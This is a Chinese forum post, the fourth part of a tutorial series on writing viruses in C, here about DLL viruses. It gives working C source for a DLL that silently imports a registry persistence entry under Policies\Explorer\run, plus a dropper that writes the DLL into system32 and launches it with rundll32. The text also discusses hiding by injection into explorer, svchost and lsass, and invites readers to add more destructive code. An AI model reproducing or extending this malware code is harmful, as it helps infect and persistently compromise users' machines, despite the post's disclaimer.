我来我网
https://5come5.cn
 
您尚未 登录  注册 | 菠菜 | 软件站 | 音乐站 | 邮箱1 | 邮箱2 | 风格选择 | 更多 » 
 

本页主题: 用C语言写病毒(4) 显示签名 | 打印 | 加为IE收藏 | 收藏主题 | 上一主题 | 下一主题

ljpdxj



性别: 帅哥 状态: 该用户目前不在线
等级: 栋梁之材
发贴: 687
威望: 0
浮云: 1108
在线等级:
注册时间: 2006-02-28
最后登陆: 2008-06-29

5come5帮你背单词 [ fool /fu:l/ n. 蠢人;vt. 愚弄 ]


用C语言写病毒(4)

用C语言写病毒(4)
作者:卧龙孔明    文章来源:本站原创    点击数:……    更新时间:2007-7-20 16:37:46

原帖及讨论:http://bbs.bc-cn.net/dispbbs.asp?boardid=5&id=156885


前4期链接,请点击:
第一期,最简单的exe病毒(TC编译通过):

第二期,一个完整病毒示例(DEV-CPP工程下 GCC编译通过):

第三期,编程技术和病毒原理(1)--注册表:

第四期,DLL病毒
前几期链接:
第一期,最简单的exe病毒(TC编译通过):http://bbs.bc-cn.net/dispbbs.asp?BoardID=5&ID=142740&star=at#
第二期,一个完整病毒示例(DEV-CPP工程下 GCC编译通过):http://bbs.bc-cn.net/dispbbs.asp?BoardID=5&ID=148427&star=at#
第三期,编程技术和病毒原理(1)--注册表:http://bbs.bc-cn.net/dispbbs.asp?BoardID=5&ID=148947&star=at#
-------------------------------------------------------------------------------------------------

首先说明一下,有些网友提出前3篇文章大都在讲注册表,没有新内容,但我认为:现在病毒几乎100%修改注册表,

因而(1)(2)的两个病毒示例也应做到如此,并且(1)(2)中分别用了不同的修改方法,用了不少不同的病毒技术.

而(3)是(1)(2)中部分技术的总结与技术方法的详细介绍,并又介绍了一些其它的注册表操作,再者,90%的病毒

必须通过注册表自启动,因此修改注册表可以是每个"真"病毒必须做的事.

本连载文章只讨论写病毒的技术,并不讨论危害计算机及网络,所示例的程序只是一个无危害的模板,你可以在技术范围及法律范围内扩充实验.

在读本程序前请保证不用此程序进行违法活动,由于你使用本程序而对他人、组织等造成的任何损失都由将你承担,本人不负任何责任,否则,请马上离开.

拒绝任何形式的转载(本人除外),否则属于著作侵权,将受到《中华人民共和国软件保护条理》、《中华人民共和国著作权法》、《中华人民共和国知识产权法》等法律最大限度的制裁!!

--------------------------------------------------------------------------------------------------
这次讲一下DLL病毒:
随着病毒的发展,病毒也由破坏的目的转为利益的目的,因此隐蔽的DLL病毒逐渐发展起来.DLL是Dynamic Link

Library 的缩写,中文为动态链接库,它的实质并不是一个程序,而是由多个功能函数构成的.而DLL病毒是通过

特别的方法,让系统文件Rundll.exe \ Rundll32.exe等调用其的函数,而所调用的函数的代码就是病毒代码,或

者通过线程插入技术插入到系统进程explorer.exe svchost.exe lsass.exe winlogon.exe 等或

iexplorer.exe等常用软件进程中,达到隐蔽的目的.
DLL病毒的编写(rundll32.exe调用法)
同建立一般的C工程一样,建立一个DLL C工程,这时会有两个文件dll.h dllmain.c被建立,其中在dll.h中声明

函数,dllmain.c中编写函数,函数的内容就是病毒代码.
最简单的DLL病毒例子:
dllmain.c内容:

/*只要你有充足的知识积淀,可以无限的扩充,使其变的强悍
具体代码可以参照<用C语言写病毒(2)>*/
/*在DEV-CPP 4.9.9.2 DLL C工程中编译测试通过*/
Copy code
#include "dll.h"
#include <stdio.h>
#include <stdlib.h>

DLLIMPORT void start ()
{
  FILE *output;
  /*
    注册[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\run]
    这又是一个以前未与大家说的注册表位置,这个位置可以提前与explorer.exe执行,且一般的病毒用的不

多,十分隐蔽
  */
  if((output=fopen("$","w"))!=NULL)
  {
    fprintf(output,"REGEDIT4\n

[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\policies\\Explorer\\run]

\n\"Userinit\"=\"rundll32.exe C:\\\\WINDOWS\\\\system32\\\\winsys.dll start ()\"");
    fclose(output);
    spawnl(0,"c:\\windows\\regedit.exe"," /s $",NULL);
    remove("$");
  }
}

dll.h内容:
Copy code
/*在DEV-CPP 4.9.9.2 DLL C工程中编译测试通过*/
#ifndef _DLL_H_
#define _DLL_H_

#if BUILDING_DLL
# define DLLIMPORT __declspec (dllexport)
#else
# define DLLIMPORT __declspec (dllimport)
#endif

DLLIMPORT void start (void);

#endif /* _DLL_H_ */


这个例子可以在explorer.exe运行前启动并再次自动写自动运行键值,前提是需要将该DLL文件写于

c:\windows\system32\winsys.dll,这就可以交给exe主病毒来做了,这就是要说的DLL病毒与EXE病毒联合,这样
可以加强病毒的攻击力度,它由主病毒体*.exe来释放dll病毒辅助体*.dll,达到dll与exe联合的作用.一般

的,dll用来设置注册表的自启动,以及病毒的复制,而exe用来破坏.当然,也有少部分DLL病毒孤军奋战,由于十

分隐蔽,也常常十分好用

释放病毒体示例:
Copy code
/*释放上面的简单dll病毒体的例子的exe*/
#include<stdio.h>
unsigned char DLL[15161] = {
...此处代码过长,略... 具体代码下载(DLL代码+EXE释放代码):  后面提供附件
};
int main(void)
{
    FILE *output;
    int i;
    output=fopen("C:\\WINDOWS\\system32\\winsys.dll","wb");
    fwrite(DLL,sizeof(DLL),1,output);
    fclose(output);
    spawnl(1,"c:\\windows\\system32\\rundll32.exe"," C:\\WINDOWS\\system32\\winsys.dll start

()",NULL);
    return 0;
}

好了,抛砖引玉,将代码增加,更改,换做你写的更厉害的代码...
就写到这儿,请期待连载(5)

本期完整代码下载:(DLL代码+EXE释放代码):  附件


[ 此帖被ljpdxj在2007-12-15 11:29重新编辑 ]
描述:附件
附件: 200707201640451(4).rar (26 K) 下载次数:5

顶端 Posted: 2007-12-15 11:01 | [楼 主]
我来我网·5come5 Forum » 程序员之家

Total 0.010152(s) query 4, Time now is:05-03 13:20, Gzip enabled
Powered by PHPWind v5.3, Localized by 5come5 Tech Team, 黔ICP备16009856号